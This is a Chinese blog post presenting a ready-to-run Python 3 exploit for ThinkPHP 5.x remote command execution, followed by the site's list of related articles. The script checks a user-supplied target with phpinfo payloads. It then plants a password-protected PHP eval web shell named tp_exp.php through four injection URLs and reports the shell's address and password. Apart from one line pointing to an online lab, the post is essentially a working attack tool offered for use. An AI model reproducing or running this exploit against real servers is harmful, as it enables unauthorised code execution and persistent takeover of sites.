python3编写ThinkPHP命令执行Getshell的方法


Posted in Python onFebruary 26, 2019

加了三个验证漏洞以及四个getshell方法

# /usr/bin/env python3
# -*- coding: utf-8 -*-
# @Author: Morker
# @Email: [email]admin@nsf.me[/email]
# @Blog:  [url]http://nsf.me/[/url]
 
import requests
import sys
 
def demo():
  print(' _______ _   _    _  _____ _  _ _____ ')
  print(' |__  __| |  (_)   | | | __ \| | | | __ \ ')
  print('  | | | |__ _ _ __ | | _| |__) | |__| | |__) |')
  print('''  | | | '_ \| | '_ \| |/ / ___/| __ | ___/ ''')
  print('  | | | | | | | | | |  <| |  | | | | |   ')
  print('  |_| |_| |_|_|_| |_|_|\_\_|  |_| |_|_|   ')
  print()
  print('\tThinkPHP 5.x (v5.0.23 and v5.1.31 following version).')
  print('\tRemote command execution exploit.')
  print('\tVulnerability verification and getshell.')
  print('\tTarget: http://target/public')
  print()
class ThinkPHP():
  def __init__(self,web):
    self.web = web
    self.headers = {
    "User-Agent" : "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:63.0) Gecko/20100101 Firefox/63.0",
    "Accept" : "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8",
    "Accept-Language" : "zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2",
    "Accept-Encoding" : "gzip, deflate",
    "Content-Type" : "application/x-www-form-urlencoded",
    "Connection" : "keep-alive"
    }
 
  def verification(self):
    i = 0
    s = 0
    verifications = ['/?s=index/\\think\Request/input&filter=phpinfo&data=1','/?s=index/\\think\\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1','/?s=index/\\think\Container/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1']
    while True:
      if i == len(verifications):
        break
      else:
        url = self.web + verifications[i]
        req = requests.get(url=url,headers=self.headers)
        if 'phpinfo()' in req.text:
          s = 1
          break
        else:
          s = 0
        i += 1
    if s == 1:
      print("[+] There are vulnerabilities.")
      print()
      toshell = input("[*] Getshell? (y/n):")
      if toshell == 'y':
        self.getshell()
      elif toshell == 'n':
        sys.exit()
      else:
        sys.exit()
    else:
      print("[-] There are no vulnerabilities.")
 
  def getshell(self):
    getshells = [
    '?s=/index/\\think\\app/invokefunction&function=call_user_func_array&vars[0]=file_put_contents&vars[1][]=tp_exp.php&vars[1][]=<?php @eval($_POST[nicai4]); ?>',
    '?s=/index/\\think\\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=echo%20%27<?php%20@eval($_POST[nicai4]);%20?>%27%20>>%20tp_exp.php',
    '?s=/index/\\think\\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=echo%20^<?php%20@eval($_POST[nicai4]);%20?^>%20>>tp_exp.php',
    '?s=index/\\think\\template\driver\\file/write&cacheFile=tp_exp.php&content=<?php%20eval($_POST[nicai4]);?>']
    shell = self.web + '/tp_exp.php'
    i = 0
    s = 0
    while True:
      if i == len(getshells):
        break
      else:
        url = self.web + getshells[i]
        req = requests.get(url=url,headers=self.headers)
        req_shell = requests.get(url=shell,headers=self.headers)
        if req_shell.status_code == 200:
          s = 1
          break
        else:
          s = 0
        i += 1
    if s == 1:
      print("[+] WebShell :%s PassWord :nicai4" % shell)
    else:
      print("[-] The vulnerability does not exist or exists waf.")
 
def main():
  demo()
  url = input("[*] Please input your target: ")
  run = ThinkPHP(url)
  run.verification()
 
if __name__ == '__main__':
  main()

注:图中的测试网址为在线漏洞环境,可自己去在线搭建测试。

环境地址:https://www.vsplate.com/

效果图:

python3编写ThinkPHP命令执行Getshell的方法

以上就是本文的全部内容,希望对大家的学习有所帮助,也希望大家多多支持三水点靠木。

Python 相关文章推荐
Python实现分割文件及合并文件的方法
Jul 10 Python
Python开发的HTTP库requests详解
Aug 29 Python
Python基于列表模拟堆栈和队列功能示例
Jan 05 Python
Python实现识别手写数字 简易图片存储管理系统
Jan 29 Python
tensorflow学习教程之文本分类详析
Aug 07 Python
python3实现斐波那契数列(4种方法)
Jul 15 Python
Python编程快速上手——强口令检测算法案例分析
Feb 29 Python
TensorFlow的reshape操作 tf.reshape的实现
Apr 19 Python
Python3自动生成MySQL数据字典的markdown文本的实现
May 07 Python
基于logstash实现日志文件同步elasticsearch
Aug 06 Python
python爬取网易云音乐热歌榜实例代码
Aug 07 Python
15个应该掌握的Jupyter Notebook使用技巧(小结)
Sep 23 Python
初探利用Python进行图文识别(OCR)
Feb 26 #Python
Python编写合并字典并实现敏感目录的小脚本
Feb 26 #Python
Python实现监控Nginx配置文件的不同并发送邮件报警功能示例
Feb 26 #Python
利用python实现对web服务器的目录探测的方法
Feb 26 #Python
python selenium 弹出框处理的实现
Feb 26 #Python
python实现学员管理系统
Feb 26 #Python
python实现电子产品商店
Feb 26 #Python
You might like
php获取URL中带#号等特殊符号参数的解决方法
2014/09/02 PHP
WordPress中给文章添加自定义字段及后台编辑功能区域
2015/12/19 PHP
浅谈PHP正则中的捕获组与非捕获组
2016/07/18 PHP
用js得到网页中所有的div的id
2020/10/19 Javascript
JS 中document.URL 和 windows.location.href 的区别
2009/11/11 Javascript
jQuery的each终止或跳过示例代码
2013/12/12 Javascript
js和jquery中循环的退出和继续学习记录
2014/09/06 Javascript
ECMAScript6新增值比较函数Object.is
2015/06/12 Javascript
jQuery满屏焦点图左右滚动特效代码分享
2015/09/07 Javascript
基于jQuery实现美观且实用的倒计时实例代码
2015/12/30 Javascript
Vue.js创建Calendar日历效果
2016/11/03 Javascript
webpack踩坑之路图片的路径与打包
2017/09/05 Javascript
Vue Element 分组+多选+可搜索Select选择器实现示例
2018/07/23 Javascript
简单两步使用node发送qq邮件的方法
2019/03/01 Javascript
基于JS实现一个随机生成验证码功能
2019/05/29 Javascript
Nuxt使用Vuex的方法示例
2019/09/06 Javascript
node-red File读取好保存实例讲解
2019/09/11 Javascript
JS实现导航栏楼层特效
2020/01/01 Javascript
你真的了解Python的random模块吗?
2017/12/12 Python
教你使用python画一朵花送女朋友
2018/03/29 Python
python微信撤回监测代码
2019/04/29 Python
python绘制直方图和密度图的实例
2019/07/08 Python
windows上安装python3教程以及环境变量配置详解
2019/07/18 Python
Python 正则表达式爬虫使用案例解析
2019/09/23 Python
Python高级特性——详解多维数组切片(Slice)
2019/11/26 Python
Python处理PDF与CDF实例
2020/02/26 Python
pyqt5 textEdit、lineEdit操作的示例代码
2020/08/12 Python
Made in Design德国:设计师家具、灯具和装饰
2019/10/31 全球购物
华三通信H3C面试题
2015/05/15 面试题
家教广告词
2014/03/19 职场文书
图书馆标语
2014/06/19 职场文书
地道战观后感500字
2015/06/04 职场文书
2015年信息化建设工作总结
2015/07/23 职场文书
法律服务所工作总结
2015/08/10 职场文书
MySQL Server 层四个日志
2022/03/31 MySQL
HTML静态页面获取url参数和UserAgent的实现
2022/08/05 HTML / CSS